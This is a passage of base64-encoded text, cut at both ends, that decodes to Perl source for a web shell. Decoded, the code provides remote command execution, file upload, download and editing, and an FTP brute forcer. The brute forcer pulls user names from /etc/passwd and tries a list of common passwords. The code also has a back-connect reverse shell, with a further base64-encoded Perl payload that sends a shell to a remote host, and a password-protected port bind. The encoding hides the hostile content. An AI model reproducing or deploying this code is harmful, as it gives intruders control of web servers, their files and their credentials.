CBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCg0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCg0KCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsNCgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7DQoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZpbGUgT3Blbg0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIEZpbGVPcGVuKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJbXkgJGJpbmFyeSA9IHNoaWZ0Ow0KCW15ICRyZXN1bHQgPSAiIjsNCglteSAkbiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJaWYob3BlbihGSUxFLCRmaWxlKSl7DQoJCQlpZigkYmluYXJ5KXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQl9DQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgew0KCQkJCSRyZXN1bHQgLj0gJGRhdGE7DQoJCQl9DQoJCQljbG9zZShGSUxFKTsNCgkJfQ0KCX1lbHNlDQoJew0KCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCR1c2VybmFtZSBuZSAiIikNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLg0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHR